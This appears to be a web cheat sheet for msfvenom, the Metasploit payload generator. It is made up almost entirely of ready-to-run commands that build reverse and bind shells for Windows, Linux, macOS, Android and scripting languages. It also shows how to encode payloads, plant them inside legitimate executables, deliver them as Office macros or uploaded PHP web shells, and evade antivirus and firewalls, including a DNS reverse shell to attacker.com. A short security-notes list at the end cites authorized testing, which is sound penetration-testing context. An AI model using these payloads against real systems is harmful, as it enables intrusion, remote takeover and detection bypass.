Skip to content
1337skills 1337skills

Msfvenom

Msfvenom is the payload generator and encoder from the Metasploit Framework. Create custom shellcode, executables, and encoded payloads for target systems.

Installation

Included with Metasploit

# Install Metasploit Framework
sudo apt install metasploit-framework

# Or build from source
git clone https://github.com/rapid7/metasploit-framework.git
cd metasploit-framework
./msfvenom

# Verify
msfvenom --version
msfvenom -l payloads | head

Windows Installation

# Download Metasploit
# https://www.metasploit.com/download

# Use from Windows terminal
msfvenom --help

Basic Syntax

msfvenom -p <payload> -f <format> [OPTIONS]

# List all payloads
msfvenom -l payloads

# List formats
msfvenom -l formats

# List encoders
msfvenom -l encoders

# Show payload options
msfvenom -p windows/meterpreter/reverse_tcp --list-options

Common Payloads

Windows Payloads

# Reverse shell (TCP)
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f exe -o shell.exe

# Bind shell
msfvenom -p windows/meterpreter/bind_tcp LPORT=4444 -f exe -o shell.exe

# Reverse HTTPS
msfvenom -p windows/meterpreter/reverse_https LHOST=192.168.1.10 LPORT=443 -f exe -o shell.exe

# Staged payload (smaller)
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f exe -o shell.exe

# Non-staged payload (complete shellcode)
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f exe -o shell.exe

Linux Payloads

# Reverse shell (x86)
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f elf -o shell

# Reverse shell (x64)
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f elf -o shell

# Bind shell
msfvenom -p linux/x86/meterpreter/bind_tcp LPORT=4444 -f elf -o shell

# Chmod execute
chmod +x shell
./shell

MacOS Payloads

# Reverse shell (Intel)
msfvenom -p osx/x64/shell_reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f macho -o shell

# Meterpreter
msfvenom -p osx/x64/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f macho -o shell

Script Payloads

# PHP reverse shell
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f raw -o shell.php

# Python reverse shell
msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f raw -o shell.py

# Ruby reverse shell
msfvenom -p ruby/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f raw -o shell.rb

# Perl reverse shell
msfvenom -p perl/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f raw -o shell.pl

# Bash reverse shell
msfvenom -p cmd/unix/reverse_bash LHOST=192.168.1.10 LPORT=4444 -f raw -o shell.sh

Output Formats

FormatExtensionUse Case
exe.exeWindows executable
elf.elfLinux binary
macho.machoMacOS binary
apk.apkAndroid application
asp.aspActive Server Pages
aspx.aspxASP.NET
war.warJava Web App
jar.jarJava Archive
raw.binRaw shellcode
c.cC source code
python.pyPython code
bash.shBash script
perl.plPerl script
ruby.rbRuby script
php.phpPHP code
hex.txtHexadecimal
vba.vbaVBA macro

Encoding & Obfuscation

Basic Encoding

# Encode payload
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 \
  -e x86/shikata_ga_nai -f exe -o shell.exe

# Multiple encode passes
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 \
  -e x86/shikata_ga_nai -i 5 -f exe -o shell.exe

# Different encoder
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 \
  -e x86/jmp_call_additive -f exe -o shell.exe

Encoder Options

# List available encoders
msfvenom -l encoders

# Show encoder options
msfvenom --list-options -e x86/shikata_ga_nai

# Custom encoder
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 \
  -e x86/polymorphic_engine -i 10 -f exe -o shell.exe

Advanced Techniques

Staging vs Non-Staging

# Staged (two-stage, smaller filesize)
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f exe -o shell.exe

# Non-staged (complete payload, larger)
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f exe -o shell.exe

# Check size difference
ls -lh shell*.exe

Custom Options

# List payload options
msfvenom -p windows/meterpreter/reverse_tcp --list-options

# Set custom options
msfvenom -p windows/meterpreter/reverse_tcp \
  LHOST=192.168.1.10 \
  LPORT=4444 \
  DisablePayloadHandler=true \
  -f exe -o shell.exe

Template Injection

# Use existing EXE as template (stealth)
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 \
  -f exe -x /path/to/legitimate.exe -o shell.exe

# Keep template properties
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 \
  -f exe -x calculator.exe -k -o shell.exe

Practical Examples

Windows Reverse Shell

# Create payload
msfvenom -p windows/meterpreter/reverse_tcp \
  LHOST=192.168.1.10 \
  LPORT=4444 \
  -e x86/shikata_ga_nai \
  -i 3 \
  -f exe \
  -o payload.exe

# Create handler in Metasploit
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.1.10
set LPORT 4444
run

Linux Payload with Encoder

# Create payload
msfvenom -p linux/x86/meterpreter/reverse_tcp \
  LHOST=192.168.1.10 \
  LPORT=4444 \
  -e x86/shikata_ga_nai \
  -i 5 \
  -f elf \
  -o payload

# Make executable
chmod +x payload

# Run payload
./payload

PHP Web Shell

# Create PHP payload
msfvenom -p php/meterpreter/reverse_tcp \
  LHOST=192.168.1.10 \
  LPORT=4444 \
  -f raw -o shell.php

# Upload to web server
# Then access via browser to trigger

# Setup handler
use exploit/multi/handler
set PAYLOAD php/meterpreter/reverse_tcp
set LHOST 192.168.1.10
set LPORT 4444
run

Word/Office Macros

# Create VBA macro payload
msfvenom -p windows/meterpreter/reverse_tcp \
  LHOST=192.168.1.10 \
  LPORT=4444 \
  -f vba -o payload.vba

# Manually insert into Office document
# Use tools like Macro-Pack for automated insertion

Android APK

# Create APK payload
msfvenom -p android/meterpreter/reverse_tcp \
  LHOST=192.168.1.10 \
  LPORT=4444 \
  -o payload.apk

# Sign APK (optional)
# jarsigner -verbose -sigalg MD5withRSA -digestalg SHA1 \
#   -keystore my-release-key.keystore payload.apk my-key-alias

Shellcode Generation

Raw Shellcode

# Generate raw shellcode
msfvenom -p windows/meterpreter/reverse_tcp \
  LHOST=192.168.1.10 \
  LPORT=4444 \
  -f raw -o shellcode.bin

# Convert to hex
msfvenom -p windows/meterpreter/reverse_tcp \
  LHOST=192.168.1.10 \
  LPORT=4444 \
  -f hex -o shellcode.hex

# Convert to C array
msfvenom -p windows/meterpreter/reverse_tcp \
  LHOST=192.168.1.10 \
  LPORT=4444 \
  -f c -o shellcode.c

Bad Characters

# Generate avoiding bad characters (null bytes, etc)
msfvenom -p windows/meterpreter/reverse_tcp \
  LHOST=192.168.1.10 \
  LPORT=4444 \
  -b '\x00\x0a\x0d' \
  -f raw -o shellcode.bin

Handlers for Payloads

Multi-Handler Setup

# In Metasploit
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.1.10
set LPORT 4444
set DisablePayloadHandler false
run

Handle Multiple Connections

# Accept multiple connections
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 0.0.0.0
set LPORT 4444
set ExitOnSession false
run -j

Troubleshooting

Antivirus Evasion

# Use polymorphic encoder
msfvenom -p windows/meterpreter/reverse_tcp \
  LHOST=192.168.1.10 \
  LPORT=4444 \
  -e x86/shikata_ga_nai \
  -i 10 \
  -f exe -o payload.exe

# Use template injection
msfvenom -p windows/meterpreter/reverse_tcp \
  LHOST=192.168.1.10 \
  LPORT=4444 \
  -f exe -x notepad.exe -k -o payload.exe

Firewall Evasion

# Use HTTPS instead of HTTP
msfvenom -p windows/meterpreter/reverse_https \
  LHOST=192.168.1.10 \
  LPORT=443 \
  -f exe -o payload.exe

# Use DNS resolution
msfvenom -p windows/meterpreter/reverse_dns_tcp \
  LHOST=attacker.com \
  LPORT=53 \
  -f exe -o payload.exe

Security Notes

  • Only generate payloads for authorized testing
  • Test payloads in isolated environments
  • Document all payload generation
  • Clean up payloads after testing
  • Comply with laws and regulations
  • Implement proper operational security (OPSEC)
  • Use appropriate encryption for payload delivery

Last updated: 2025-03-30